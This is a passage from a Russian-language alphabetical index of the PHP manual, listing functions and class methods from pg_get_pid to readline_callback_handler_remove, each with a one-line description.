    • pg_get_pid - Получает ID процесса сервера БД
    • pg_get_result - Получение результата асинхронного запроса
    • pg_host - Возвращает имя хоста, соответствующего подключению
    • pg_insert - Заносит данные массива в таблицу базы данных
    • pg_last_error - Получает сообщение о последней произошедшей ошибке на соединении с базой данных
    • pg_last_notice - Возвращает последнее уведомление от сервера PostgreSQL
    • pg_last_oid - Возвращает OID последней добавленной в базу строки
    • pg_lo_close - Закрывает большой объект
    • pg_lo_create - Создаёт большой объект
    • pg_lo_export - Вывод большого объекта в файл
    • pg_lo_import - Импорт большого объекта из файла
    • pg_lo_open - Открывает большой объект базы данных
    • pg_lo_read - Читает данные большого объекта
    • pg_lo_read_all - Читает содержимое большого объекта и посылает напрямую в браузер
    • pg_lo_seek - Перемещает внутренний указатель большого объекта
    • pg_lo_tell - Возвращает текущее положение внутреннего указателя большого объекта
    • pg_lo_truncate - Обрезает большой объект
    • pg_lo_unlink - Удаление большого объекта
    • pg_lo_write - Записывает данные в большой объект
    • pg_meta_data - Получение метаданных таблицы
    • pg_num_fields - Возвращает количество полей в выборке
    • pg_num_rows - Возвращает количество строк в выборке
    • pg_options - Получение параметров соединения с сервером баз данных
    • pg_parameter_status - Просмотр текущих значений параметров сервера
    • pg_pconnect - Открывает постоянное соединение с сервером PostgreSQL
    • pg_ping - Проверка соединения с базой данных
    • pg_port - Возвращает номер порта, соответствующий заданному соединению
    • pg_prepare - Посылает запрос на создание параметризованного SQL выражения и ждёт его завершения
    • pg_put_line - Передаёт на PostgreSQL сервер строку с завершающим нулём
    • pg_query - Выполняет запрос
    • pg_query_params - Посылает параметризованный запрос на сервер, параметры передаются отдельно от текста SQL запроса
    • pg_result_error - Возвращает сообщение об ошибке, связанное с запросом результата
    • pg_result_error_field - Возвращает конкретное поле из отчёта об ошибках
    • pg_result_seek - Смещает указатель на строку выборки в экземпляре результата запроса
    • pg_result_status - Возвращает состояние результата запроса
    • pg_select - Выбирает записи из базы данных
    • pg_send_execute - Запускает предварительно подготовленный SQL-запрос и передаёт ему параметры; не ожидает возвращаемого результата
    • pg_send_prepare - Посылает запрос на создание параметризованного SQL-выражения, не дожидаясь его завершения
    • pg_send_query - Отправляет асинхронный запрос
    • pg_send_query_params - Посылает параметризованный запрос на сервер, не ожидает возвращаемого результата
    • pg_set_client_encoding - Устанавливает клиентскую кодировку
    • pg_set_error_context_visibility - Определяет видимость сообщений об ошибках контекста, возвращаемых функциями pg_last_error и pg_result_error
    • pg_set_error_verbosity - Определяет объем текста сообщений, возвращаемых функциями pg_last_error и pg_result_error
    • pg_socket - Получить дескриптор только для чтения на сокет, лежащего в основе соединения PostgreSQL
    • pg_trace - Включает трассировку подключения PostgreSQL
    • pg_transaction_status - Возвращает текущее состояние транзакции на сервере
    • pg_tty - Возвращает имя терминала TTY, связанное с соединением
    • pg_unescape_bytea - Убирает экранирование двоичных данных типа bytea
    • pg_untrace - Отключает трассировку соединения с PostgreSQL
    • pg_update - Обновление данных в таблице
    • pg_version - Возвращает массив, содержащий версии клиента, протокола клиент-серверного взаимодействия и сервера (если доступно)
    • phar:// - PHP-архив
    • Phar::addEmptyDir - Добавляет в phar-архив пустую директорию
    • Phar::addFile - Добавляет в phar-архив файл из файловой системы
    • Phar::addFromString - Добавляет в phar-архив файл из строки
    • Phar::apiVersion - Возвращает версию API
    • Phar::buildFromDirectory - Создаёт phar-архив из файлов, расположенных внутри директории
    • Phar::buildFromIterator - Создаёт phar-архив из итератора
    • Phar::canCompress - Проверяет, поддерживает ли модуль phar сжатие с использованием zlib или bzip2
    • Phar::canWrite - Проверяет, поддерживает ли модуль phar сохранение и создание phar-архивов
    • Phar::compress - Сжимает весь Phar-архив с помощью Gzip- или Bzip2-сжатия
    • Phar::compressFiles - Сжимает все файлы в текущем Phar-архиве
    • Phar::convertToData - Конвертирует phar-архив в неисполняемый tar- или zip-файл
    • Phar::convertToExecutable - Конвертирует phar-архив в другой исполняемый формат файла
    • Phar::copy - Копирует один файл внутри phar-архива в другой новый файл внутри phar-архива
    • Phar::count - Возвращает количество записей (файлов) в Phar-архиве
    • Phar::createDefaultStub - Создать заглушку в формате phar-архива
    • Phar::decompress - Распаковывает весь Phar-архив
    • Phar::decompressFiles - Распаковывает все файлы в текущем Phar-архиве
    • Phar::delete - Удаляет файл внутри phar-архива
    • Phar::delMetadata - Удалить глобальные метаданные в архиве phar
    • Phar::extractTo - Извлечь содержимое phar-архива в директорию
    • Phar::getAlias - Получить псевдоним для Phar
    • Phar::getMetadata - Извлечь метаданные phar-архива
    • Phar::getModified - Определить, изменялся phar-архив
    • Phar::getPath - Получить реальный путь к Phar-архиву на диске
    • Phar::getSignature - Получить MD5/SHA1/SHA256/SHA512/OpenSSL подпись Phar-архива
    • Phar::getStub - Получить загрузчик PHP или загрузчик заглушки Phar-архива
    • Phar::getSupportedCompression - Возвращает массив поддерживаемых алгоритмов сжатия
    • Phar::getSupportedSignatures - Получить массив поддерживаемых алгоритмов подписи архива
    • Phar::getVersion - Получить версию Phar-архива
    • Phar::hasMetadata - Проверить, содержит ли phar-архив глобальные метаданные
    • Phar::interceptFileFuncs - Указывает phar перехватывать fopen, file_get_contents, opendir и все stat-функции
    • Phar::isBuffering - Проверить, будут ли операции с Phar-архивом буферизованы или записаны напрямую на диск
    • Phar::isCompressed - Возвращает Phar::GZ или PHAR::BZ2, если phar-архив сжат целиком (.tar.gz/tar.bz и так далее)
    • Phar::isFileFormat - Проверить, что phar-архив имеет заданный формат (tar/phar/zip)
    • Phar::isValidPharFilename - Проверяет, что заданное имя файла является корректным именем phar-архива
    • Phar::isWritable - Проверяет, можно ли модифицировать phar-архив
    • Phar::loadPhar - Загрузить phar-архив с псевдонимом
    • Phar::mapPhar - Прочитать текущий запущенный phar-архив и зарегистрировать его манифест
    • Phar::mount - Монтирование внешнего путь или файла к виртуальному пути в phar-архиве
    • Phar::mungServer - Определить список до четырёх $_SERVER-переменных, которые должны быть изменены для запуска
    • Phar::offsetExists - Определить, есть ли файл в архиве
    • Phar::offsetGet - Получить объект PharFileInfo для конкретного файла
    • Phar::offsetSet - Изменение содержимого файла
    • Phar::offsetUnset - Удалить файл из phar-архива
    • Phar::running - Получить полный путь на диске, либо полный URL запущенного Phar-архива
    • Phar::setAlias - Установить псевдоним для Phar-архива
    • Phar::setDefaultStub - Установить загрузчик PHP или начальную заглушку Phar-архива в загрузчик по умолчанию
    • Phar::setMetadata - Установить метаданные phar-архива
    • Phar::setSignatureAlgorithm - Установить алгоритм подписания phar-архива и применение его
    • Phar::setStub - Установить загрузчик или загрузочную заглушку в Phar-архив
    • Phar::startBuffering - Запускает буферизацию операций записи, отключая запись изменений Phar-архива на диск
    • Phar::stopBuffering - Останавливает буферизацию и записывает все изменения на диск
    • Phar::unlinkArchive - Полностью удалить архив из памяти и с диска
    • Phar::webPhar - Направляет запрос из браузера во внутренний файл в phar-архиве
    • Phar::__construct - Создаёт объект Phar-архива
    • Phar::__destruct - Уничтожает объект архива Phar
    • PharData::addEmptyDir - Добавить пустую директорию в tar/zip-архив
    • PharData::addFile - Добавить существующие файлы к tar/zip-архиву
    • PharData::addFromString - Добавляет файл из строки в архив tar/zip
    • PharData::buildFromDirectory - Создаёт tar/zip-архив из файлов в директории
    • PharData::buildFromIterator - Создание tar/zip-архива с помощью итератора
    • PharData::compress - Сжимает весь архив tar/zip, используя сжатие Gzip или Bzip2
    • PharData::compressFiles - Сжать все файлы в текущем tar/zip-архиве
    • PharData::convertToData - Конвертация phar-архива в незапускаемый tar/zip-архив
    • PharData::convertToExecutable - Конвертация tar/zip-архива с данными в запускаемый phar-архив
    • PharData::copy - Скопировать файл из tar/zip-архива в новый файл внутри него же
    • PharData::decompress - Распаковать весь Phar-архив
    • PharData::decompressFiles - Распаковать все файлы в текущем zip-архиве
    • PharData::delete - Удалить файл из tar/zip-архива
    • PharData::delMetadata - Удалить глобальные метаданные для zip-архива
    • PharData::extractTo - Извлечь содержимое tar/zip-архива в директорию
    • PharData::isWritable - Проверить, можно ли модифицировать tar/zip-архив
    • PharData::offsetSet - Изменение содержимого файла
    • PharData::offsetUnset - Удалить файл из tar/zip-архива
    • PharData::setAlias - Функция заглушка (Phar::setAlias нельзя использовать для PharData)
    • PharData::setDefaultStub - Функция заглушка (Phar::setDefaultStub нельзя использовать для PharData)
    • PharData::setMetadata - Установить метаданные phar-архива
    • PharData::setSignatureAlgorithm - Установить алгоритм подписания phar-архива и применение его
    • PharData::setStub - Функция заглушка (Phar::setStub нельзя использовать для PharData)
    • PharData::__construct - Конструктор объекта PharData
    • PharData::__destruct - Уничтожает неисполняемый объект архива tar или zip
    • PharFileInfo::chmod - Установка прав доступа
    • PharFileInfo::compress - Сжать текущий файл с помощью zlib или bzip2
    • PharFileInfo::decompress - Разжимает текущий файл
    • PharFileInfo::delMetadata - Удалить метаданные файла
    • PharFileInfo::getCompressedSize - Получить реальный занимаемый файлом размер на диске с учётом сжатия
    • PharFileInfo::getContent - Получить полное содержимое файла записи
    • PharFileInfo::getCRC32 - Получить контрольную сумму CRC32
    • PharFileInfo::getMetadata - Получить метаданные, связанные с файлом
    • PharFileInfo::getPharFlags - Получить флаги файла в phar-архиве
    • PharFileInfo::hasMetadata - Проверить, есть ли у файла метаданные
    • PharFileInfo::isCompressed - Проверить, сжат ли файл
    • PharFileInfo::isCRCChecked - Определить, прошёл ли файл проверку CRC
    • PharFileInfo::setMetadata - Установка метаданных для конкретного файла
    • PharFileInfo::__construct - Конструктор объекта PharFileInfo
    • PharFileInfo::__destruct - Уничтожает входной объект Phar
    • php:// - Доступ к различным потокам ввода-вывода
    • phpcredits - Выводит список разработчиков PHP
    • phpdbg_break_file - Добавить точку прерывания на конкретную строку файла
    • phpdbg_break_function - Добавить точку прерывания на вызов функции
    • phpdbg_break_method - Добавить точку прерывания на вызов метода класса
    • phpdbg_break_next - Добавить точку прерывания на следующий опкод
    • phpdbg_clear - Убрать все точки прерывания
    • phpdbg_color - Задать цвет для элемента
    • phpdbg_end_oplog - Описание
    • phpdbg_exec - Попытаться задать контекст исполнения
    • phpdbg_get_executable - Описание
    • phpdbg_prompt - Установить приглашение командной строки
    • phpdbg_start_oplog - Описание
    • phpinfo - Выводит информацию о текущей конфигурации PHP
    • PhpToken::getTokenName - Возвращает имя токена
    • PhpToken::is - Проверяет, соответствует ли токен указанному типу
    • PhpToken::isIgnorable - Сообщает, будет ли токен игнорироваться парсером PHP
    • PhpToken::tokenize - Разбирает заданную строку, содержащую программу на PHP, на массив объектов PhpToken
    • PhpToken::__construct - Создаёт объект PhpToken
    • PhpToken::__toString - Возвращает текстовое содержимое токена
    • phpversion - Получает текущую версию PHP
    • php_ini_loaded_file - Получить путь к загруженному файлу php.ini
    • php_ini_scanned_files - Возвращает список .ini-файлов, найденных в дополнительной ini-директории
    • php_sapi_name - Возвращает тип интерфейса между веб-сервером и PHP
    • php_strip_whitespace - Возвращает исходный код без комментариев и пробелов
    • php_uname - Возвращает информацию об операционной системе, на которой запущен PHP
    • php_user_filter::filter - Вызывается, как только применяется фильтр
    • php_user_filter::onClose - Вызывается при закрытии фильтра
    • php_user_filter::onCreate - Вызывается при создании объекта фильтра
    • pi - Возвращает число Пи
    • png2wbmp - Преобразовывает PNG-файла в файл WBMP
    • Pool::collect - Собирает ссылки на выполненные задания
    • Pool::resize - Изменяет размер пула
    • Pool::shutdown - Выключает все воркеры
    • Pool::submit - Отправляет объект на исполнение
    • Pool::submitTo - Отправляет задачу конкретному воркеру для выполнения
    • Pool::__construct - Создаёт новый пул воркеров
    • popen - Открывает файловый указатель процесса
    • pos - Псевдоним current
    • posix_access - Определяет доступность файла
    • posix_ctermid - Возвращает путь управляющего терминала
    • posix_eaccess - Определяет доступность файла
    • posix_errno - Псевдоним posix_get_last_error
    • posix_fpathconf - Возвращает значение настраиваемого ограничения
    • posix_getcwd - Возвращает путь текущей директории
    • posix_getegid - Возвращает эффективный идентификатор группы текущего процесса EGID
    • posix_geteuid - Возвращает эффективный идентификатор пользователя текущего процесса EUID
    • posix_getgid - Возвращает действительный ID группы текущего процесса GID
    • posix_getgrgid - Возвращает информацию о группе по её ID
    • posix_getgrnam - Возвращает информацию о группе, используя её имя
    • posix_getgroups - Возвращает список групп для текущего процесса
    • posix_getlogin - Возвращает логин владельца процесса
    • posix_getpgid - Возвращает ID группы текущего процесса для менеджера задач
    • posix_getpgrp - Возвращает идентификатор группы текущего процесса
    • posix_getpid - Возвращает идентификатор текущего процесса
    • posix_getppid - Возвращает идентификатор родительского процесса
    • posix_getpwnam - Возвращает информацию о пользователе по его имени
    • posix_getpwuid - Возвращает информацию о пользователе, используя его ID
    • posix_getrlimit - Возвращает информацию об ограничениях системных ресурсов
    • posix_getsid - Возвращает текущий SID процесса
    • posix_getuid - Возвращает фактический идентификатор пользователя текущего процесса UID
    • posix_get_last_error - Возвращает номер ошибки, которая произошла в последней posix функции, завершившейся неудачей
    • posix_initgroups - Определяет уровень доступа для группы
    • posix_isatty - Определяет является ли файловый дескриптор интерактивным терминалом
    • posix_kill - Отправляет сигнал соответствующему процессу
    • posix_mkfifo - Создаёт специальный fifo файл (именованный канал- pipe)
    • posix_mknod - Создаёт специальный или обычный файл (POSIX.1)
    • posix_pathconf - Возвращает значение настраиваемого ограничения
    • posix_setegid - Устанавливает эффективный идентификатор группы для текущего процесса EGID
    • posix_seteuid - Устанавливает эффективный идентификатор пользователя для текущего процесса EUID
    • posix_setgid - Устанавливает идентификатор группы для текущего процесса GID
    • posix_setpgid - Устанавливает идентификатор группы процесса для менеджера задач
    • posix_setrlimit - Устанавливает пределы системных ресурсов
    • posix_setsid - Делает текущий процесс лидером сессии
    • posix_setuid - Устанавливает UID текущего процесса
    • posix_strerror - Возвращает системное сообщение об ошибке, основываясь на полученном номере ошибки
    • posix_sysconf - Возвращает информацию о системе во время выполнения
    • posix_times - Возвращает информацию об использовании процессорного времени
    • posix_ttyname - Определяет имя терминального устройства
    • posix_uname - Возвращает информацию о системе
    • pow - Возводит в степень
    • preg_filter - Производит поиск и замену по регулярному выражению
    • preg_grep - Возвращает массив вхождений, которые соответствуют шаблону
    • preg_last_error - Возвращает код ошибки выполнения последнего регулярного выражения PCRE
    • preg_last_error_msg - Возвращает сообщение об ошибке последней запущенной функции PCRE
    • preg_match - Выполняет проверку на соответствие регулярному выражению
    • preg_match_all - Выполняет глобальный поиск шаблона в строке
    • preg_quote - Экранирует символы в регулярных выражениях
    • preg_replace - Выполняет поиск и замену по регулярному выражению
    • preg_replace_callback - Выполняет поиск по регулярному выражению и замену с использованием callback-функции
    • preg_replace_callback_array - Выполняет поиск и замену по регулярному выражению с использованием функций обратного вызова
    • preg_split - Разбивает строку по регулярному выражению
    • prev - Сдвигает внутренний указатель массива на одну позицию назад
    • print - Выводит строку
    • printf - Выводит отформатированную строку
    • print_r - Выводит удобочитаемую информацию о переменной
    • proc_close - Завершить процесс, открытый proc_open и вернуть код возврата этого процесса
    • proc_get_status - Получить информацию о процессе, открытом proc_open
    • proc_nice - Изменить приоритет текущего процесса
    • proc_open - Выполнить команду и открыть указатель на файл для ввода/вывода
    • proc_terminate - Уничтожить процесс, открытый при помощи функции proc_open
    • property_exists - Проверяет, есть ли у объекта или класса свойство
    • pspell_add_to_personal - Добавляет слово в персональный список слов
    • pspell_add_to_session - Добавляет слово в список слов в текущей сессии
    • pspell_check - Проверяет слово
    • pspell_clear_session - Очищает текущую сессию
    • pspell_config_create - Создаёт конфигурацию, используемую для открытия словаря
    • pspell_config_data_dir - Расположение файлов с языковыми данными
    • pspell_config_dict_dir - Расположение основного списка слов
    • pspell_config_ignore - Игнорирует слова длиной менее N символов
    • pspell_config_mode - Изменяет режим количества возвращаемых вариантов исправления
    • pspell_config_personal - Устанавливает файл, содержащий персональный список слов
    • pspell_config_repl - Устанавливает файл, содержащий замещающие пары
    • pspell_config_runtogether - Рассматривает объединённые слова как правильные сложные слова
    • pspell_config_save_repl - Определяет, сохранять ли список замещающих пар вместе со списком слов
    • pspell_new - Загружает новый словарь
    • pspell_new_config - Загружает новый словарь с установками на основе заданной конфигурации
    • pspell_new_personal - Загружает новый словарь с персональным списком слов
    • pspell_save_wordlist - Сохраняет персональный список слов в файле
    • pspell_store_replacement - Сохраняет замещающую пару для слова
    • pspell_suggest - Предлагает варианты исправления слова
    • ps_add_bookmark - Добавляет закладку на текущую страницу
    • ps_add_launchlink - Добавляет ссылку, запускающую файл
    • ps_add_locallink - Добавляет ссылку на страницу того же документа
    • ps_add_note - Добавляет примечание к текущей странице
    • ps_add_pdflink - Добавляет ссылку на страницу в другом PDF-документе
    • ps_add_weblink - Добавляет ссылку на веб-страницу
    • ps_arc - Рисует дугу против часовой стрелки
    • ps_arcn - Рисует дугу по часовой стрелке
    • ps_begin_page - Начинает новую страницу
    • ps_begin_pattern - Начинает новый узор
    • ps_begin_template - Начинает новый шаблон
    • ps_circle - Рисует круг
    • ps_clip - Отрисовка клипов по текущему пути
    • ps_close - Закрывает документ PostScript
    • ps_closepath - Замыкает путь
    • ps_closepath_stroke - Замыкает и обводит контур
    • ps_close_image - Закрывает изображение и освобождает память
    • ps_continue_text - Продолжает текст в следующей строке
    • ps_curveto - Рисует кривую
    • ps_delete - Удаляет все ресурсы документа PostScript
    • ps_end_page - Завершает страницу
    • ps_end_pattern - Завершает шаблон
    • ps_end_template - Завершает шаблон
    • ps_fill - Заполняет текущий путь
    • ps_fill_stroke - Заполняет и обводит текущий путь
    • ps_findfont - Загружает шрифт
    • ps_get_buffer - Получает полный буфер, содержащий сгенерированные данные PS
    • ps_get_parameter - Получает определённые параметры
    • ps_get_value - Получает определённые значения
    • ps_hyphenate - Переносит слово
    • ps_include_file - Читает внешний файл с необработанным кодом PostScript
    • ps_lineto - Рисует линию
    • ps_makespotcolor - Создаёт плашечный цвет
    • ps_moveto - Устанавливает текущую точку
    • ps_new - Создаёт новый объект документа PostScript
    • ps_open_file - Открывает файл для вывода
    • ps_open_image - Считывает изображение для последующего размещения
    • ps_open_image_file - Открывает изображение из файла
    • ps_open_memory_image - Берёт изображение GD и возвращает изображение для размещения в документе PS
    • ps_place_image - Размещает изображение на странице
    • ps_rect - Рисует прямоугольник
    • ps_restore - Восстанавливает ранее сохранённый контекст
    • ps_rotate - Устанавливает коэффициент вращения
    • ps_save - Сохраняет текущий контекст
    • ps_scale - Устанавливает коэффициент масштабирования
    • ps_setcolor - Устанавливает текущий цвет
    • ps_setdash - Устанавливает внешний вид пунктирной линии
    • ps_setflat - Устанавливает плоскостность
    • ps_setfont - Устанавливает шрифт, который будет использоваться для следующего вывода
    • ps_setgray - Устанавливает значение серого
    • ps_setlinecap - Устанавливает внешний вид окончания линии
    • ps_setlinejoin - Устанавливает способ соединения линий
    • ps_setlinewidth - Устанавливает ширину линии
    • ps_setmiterlimit - Устанавливает предел скоса
    • ps_setoverprintmode - Устанавливает режим наложения
    • ps_setpolydash - Устанавливает внешний вид пунктирной линии
    • ps_set_border_color - Устанавливает цвет границы аннотаций
    • ps_set_border_dash - Устанавливает длину тире для границы аннотации
    • ps_set_border_style - Устанавливает стиль границы аннотаций
    • ps_set_info - Устанавливает информационные поля документа
    • ps_set_parameter - Устанавливает определённые параметры
    • ps_set_text_pos - Устанавливает позицию для вывода текста
    • ps_set_value - Устанавливает определённые значения
    • ps_shading - Создаёт затенение для последующего использования
    • ps_shading_pattern - Создаёт узор на основе затенения
    • ps_shfill - Заполняет область затенением
    • ps_show - Выводит текст
    • ps_show2 - Выводит текст в текущей позиции
    • ps_show_boxed - Выводит текст в поле
    • ps_show_xy - Выводит текст в заданной позиции
    • ps_show_xy2 - Выводит текст в заданной позиции
    • ps_stringwidth - Получает ширину строки
    • ps_string_geometry - Получает геометрию строки
    • ps_stroke - Рисует текущий путь
    • ps_symbol - Выводит глиф
    • ps_symbol_name - Получает имя глифа
    • ps_symbol_width - Получает ширину глифа
    • ps_translate - Изменяет систему координат
    • putenv - Устанавливает значение переменной среды
  • q
    • QuickHashIntHash::add - Добавить элемент в хеш
    • QuickHashIntHash::delete - Метод удаляет запись из хеша
    • QuickHashIntHash::exists - Метод проверяет, является ли ключ частью хеша
    • QuickHashIntHash::get - Метод извлекает значение из хеша по его ключу
    • QuickHashIntHash::getSize - Возвращает количество элементов в хеше
    • QuickHashIntHash::loadFromFile - Фабричный метод создаёт хеш из файла
    • QuickHashIntHash::loadFromString - Фабричный метод создаёт хеш из строки
    • QuickHashIntHash::saveToFile - Метод сохраняет хеш в памяти на диск
    • QuickHashIntHash::saveToString - Метод возвращает сериализованную версию хеша
    • QuickHashIntHash::set - Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует
    • QuickHashIntHash::update - Метод обновляет запись в хеше новым значением
    • QuickHashIntHash::__construct - Создаёт объект QuickHashIntHash
    • QuickHashIntSet::add - Метод добавляет новую запись в набор
    • QuickHashIntSet::delete - Метод удаляет запись из набора
    • QuickHashIntSet::exists - Метод проверяет, является ли ключ частью набора
    • QuickHashIntSet::getSize - Возвращает количество элементов в наборе
    • QuickHashIntSet::loadFromFile - Фабричный метод создаёт набор из файла
    • QuickHashIntSet::loadFromString - Фабричный метод создаёт набор из строки
    • QuickHashIntSet::saveToFile - Метод сохраняет набор в памяти на диске
    • QuickHashIntSet::saveToString - Метод возвращает сериализованную версию набора
    • QuickHashIntSet::__construct - Создаёт новый объект QuickHashIntSet
    • QuickHashIntStringHash::add - Метод добавляет новую запись в хеш
    • QuickHashIntStringHash::delete - Метод удаляет запись из хеша
    • QuickHashIntStringHash::exists - Метод проверяет, является ли ключ частью хеша
    • QuickHashIntStringHash::get - Метод извлекает значение из хеша по его ключу
    • QuickHashIntStringHash::getSize - Возвращает количество элементов в хеше
    • QuickHashIntStringHash::loadFromFile - Фабричный метод создаёт хеш из файла
    • QuickHashIntStringHash::loadFromString - Фабричный метод создаёт хеш из строки
    • QuickHashIntStringHash::saveToFile - Метод сохраняет хеш в памяти на диске
    • QuickHashIntStringHash::saveToString - Метод возвращает сериализованную версию хеша
    • QuickHashIntStringHash::set - Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует
    • QuickHashIntStringHash::update - Метод обновляет запись в хеше новым значением
    • QuickHashIntStringHash::__construct - Создаёт новый объект QuickHashIntStringHash
    • QuickHashStringIntHash::add - Метод добавляет новую запись в хеш
    • QuickHashStringIntHash::delete - Метод удаляет запись из хеша
    • QuickHashStringIntHash::exists - Метод проверяет, является ли ключ частью хеша
    • QuickHashStringIntHash::get - Метод извлекает значение из хеша по его ключу
    • QuickHashStringIntHash::getSize - Возвращает количество элементов в хеше
    • QuickHashStringIntHash::loadFromFile - Фабричный метод создаёт хеш из файла
    • QuickHashStringIntHash::loadFromString - Фабричный метод создаёт хеш из строки
    • QuickHashStringIntHash::saveToFile - Метод сохраняет хеш в памяти на диске
    • QuickHashStringIntHash::saveToString - Метод возвращает сериализованную версию хеша
    • QuickHashStringIntHash::set - Метод обновляет запись в хеше новым значением или добавляет новую, если запись не существует
    • QuickHashStringIntHash::update - Метод обновляет запись в хеше новым значением
    • QuickHashStringIntHash::__construct - Создаёт новый объект QuickHashStringIntHash
    • quoted_printable_decode - Преобразовывает строку, закодированную методом quoted-printable, в 8-битную строку
    • quoted_printable_encode - Преобразовывает 8-битную строку методом quoted-printable
    • quotemeta - Экранирует специальные символы
  • r
    • rad2deg - Преобразовывает значение из радианов в градусы
    • radius_acct_open - Создаёт дескриптор Radius для учёта
    • radius_add_server - Добавляет сервер
    • radius_auth_open - Создаёт дескриптор Radius для аутентификации
    • radius_close - Освобождает все ресурсы
    • radius_config - Заставляет библиотеку читать данный файл конфигурации
    • radius_create_request - Создаёт учётную запись или запрос аутентификации
    • radius_cvt_addr - Преобразовывает необработанные данные в IP-адрес
    • radius_cvt_int - Преобразовывает необработанные данные в целое число
    • radius_cvt_string - Преобразовывает необработанные данные в строку
    • radius_demangle - Расшифровывает данные
    • radius_demangle_mppe_key - Получает mppe-ключи из искажённых данных
    • radius_get_attr - Извлекает атрибут
    • radius_get_tagged_attr_data - Извлекает данные из помеченного атрибута
    • radius_get_tagged_attr_tag - Извлекает тег из помеченного атрибута
    • radius_get_vendor_attr - Извлекает атрибут, зависящий от поставщика
    • radius_put_addr - Присоединяет атрибут IP-адреса
    • radius_put_attr - Присоединяет бинарный атрибут
    • radius_put_int - Присоединяет целочисленный атрибут
    • radius_put_string - Присоединяет строковый атрибут
    • radius_put_vendor_addr - Присоединяет атрибут IP-адреса конкретного поставщика
    • radius_put_vendor_attr - Присоединяет бинарный атрибут, зависящий от поставщика
    • radius_put_vendor_int - Присоединяет целочисленный атрибут, зависящий от поставщика
    • radius_put_vendor_string - Присоединяет строковый атрибут, зависящий от поставщика
    • radius_request_authenticator - Возвращает аутентификатор запроса
    • radius_salt_encrypt_attr - Зашифровывает значение с помощью соли
    • radius_send_request - Отправляет запрос и ждёт ответ
    • radius_server_secret - Возвращает общий секрет
    • radius_strerror - Возвращает сообщение об ошибке
    • rand - Генерирует случайное число
    • Random\Engine::generate - Создаёт случайную последовательность
    • Random\Engine\Mt19937::generate - Создаёт 32 бита случайной последовательности
    • Random\Engine\Mt19937::__construct - Создаёт новый объект движка Mt19937
    • Random\Engine\Mt19937::__debugInfo - Возвращает внутреннее состояние движка
    • Random\Engine\Mt19937::__serialize - Сериализует объект Mt19937
    • Random\Engine\Mt19937::__unserialize - Десериализует параметр data в объект Mt19937
    • Random\Engine\PcgOneseq128XslRr64::generate - Создаёт 64 бита случайной последовательности
    • Random\Engine\PcgOneseq128XslRr64::jump - Эффективное перемещение движка вперёд на несколько шагов
    • Random\Engine\PcgOneseq128XslRr64::__construct - Создаёт новый движок PCG Oneseq 128 XSL RR 64
    • Random\Engine\PcgOneseq128XslRr64::__debugInfo - Возвращает внутреннее состояние движка
    • Random\Engine\PcgOneseq128XslRr64::__serialize - Сериализует объект PcgOneseq128XslRr64
    • Random\Engine\PcgOneseq128XslRr64::__unserialize - Десериализует параметр data в объект PcgOneseq128XslRr64
    • Random\Engine\Secure::generate - Создаёт криптографически безопасную случайную последовательность
    • Random\Engine\Xoshiro256StarStar::generate - Генерирует 64 бита случайной последовательности
    • Random\Engine\Xoshiro256StarStar::jump - Эффективно перемещает движок вперёд на 2^128 шагов
    • Random\Engine\Xoshiro256StarStar::jumpLong - Эффективно перемещает движок вперёд на 2^192 шага
    • Random\Engine\Xoshiro256StarStar::__construct - Создаёт новый объект движка xoshiro256**
    • Random\Engine\Xoshiro256StarStar::__debugInfo - Возвращает внутреннее состояние движка
    • Random\Engine\Xoshiro256StarStar::__serialize - Сериализует объект Xoshiro256StarStar
    • Random\Engine\Xoshiro256StarStar::__unserialize - Десериализует параметр data в объект Xoshiro256StarStar
    • Random\Randomizer::getBytes - Получает случайные байты
    • Random\Randomizer::getBytesFromString - Получает случайные байты из исходной строки
    • Random\Randomizer::getFloat - Получает равномерно выбранное число с плавающей точкой
    • Random\Randomizer::getInt - Получает равномерно выбранное целое число
    • Random\Randomizer::nextFloat - Получает число с плавающей точкой из открытого справа интервала [0.0, 1.0)
    • Random\Randomizer::nextInt - Получает целое положительное число
    • Random\Randomizer::pickArrayKeys - Выбирает случайные ключи массива
    • Random\Randomizer::shuffleArray - Получает перестановку массива
    • Random\Randomizer::shuffleBytes - Получает байтовую перестановку строки
    • Random\Randomizer::__construct - Создаёт новый объект Randomizer
    • Random\Randomizer::__serialize - Сериализует объект Randomizer
    • Random\Randomizer::__unserialize - Десериализует параметр data в объект Randomizer
    • random_bytes - Получает криптографически безопасные случайные байты
    • random_int - Получает криптографически безопасное равномерно выбранное целое число
    • range - Создаёт массив, содержащий диапазон элементов
    • rar:// - RAR
    • RarArchive::close - Закрывает RAR архив и освобождает все ресурсы
    • RarArchive::getComment - Получить текст комментария из архива RAR
    • RarArchive::getEntries - Возвращает полный список элементов из RAR архива
    • RarArchive::getEntry - Возвращает объект элемента из RAR архива
    • RarArchive::isBroken - Проверяет, не сломан ли архив (не завершён)
    • RarArchive::isSolid - Проверить, является ли архив сплошным
    • RarArchive::open - Открывает архив RAR
    • RarArchive::setAllowBroken - Открывать ли повреждённые архивы
    • RarArchive::__toString - Получить текстовое представление
    • RarEntry::extract - Извлекает элемент из архива
    • RarEntry::getAttr - Возвращает атрибуты элемента архива
    • RarEntry::getCrc - Возвращает CRC элемента архива
    • RarEntry::getFileTime - Возвращает последнее время изменения элемента
    • RarEntry::getHostOs - Возвращает оригинальную ОС элемента
    • RarEntry::getMethod - Возвращает метод компрессии элемента
    • RarEntry::getName - Возвращает имя элемента
    • RarEntry::getPackedSize - Возвращает размер сжатого элемента
    • RarEntry::getStream - Получить обработчик для записи
    • RarEntry::getUnpackedSize - Возвращает размер элемента в распакованном состоянии
    • RarEntry::getVersion - Возвращает минимальную версию программы RAR, необходимую для распаковки элемента
    • RarEntry::isDirectory - Проверяет, является ли запись директорией
    • RarEntry::isEncrypted - Проверяет, зашифрована ли запись
    • RarEntry::__toString - Получить текстовое представление записи
    • RarException::isUsingExceptions - Проверить, будут ли функции возвращать ошибки или выбрасывать исключения
    • RarException::setUsingExceptions - Включить или отключить генерацию исключений вместо возвращения ошибок
    • rar_wrapper_cache_stats - Кеш доступов и отказов обёртки URL
    • rawurldecode - Декодирование URL-кодированной строки
    • rawurlencode - URL-кодирование строки согласно RFC 3986
    • readdir - Получает элемент каталога по его дескриптору
    • readfile - Выводит файл
    • readgzfile - Выводит содержимое gz-файла
    • readline - Читает строку
    • readline_add_history - Добавляет строку в историю
    • readline_callback_handler_install - Инициализирует callback-интерфейс readline и терминал, печатает строку приглашения и немедленно возвращает управление
    • readline_callback_handler_remove - Удаляет ранее зарегистрированную callback-функцию и восстанавливает терминал
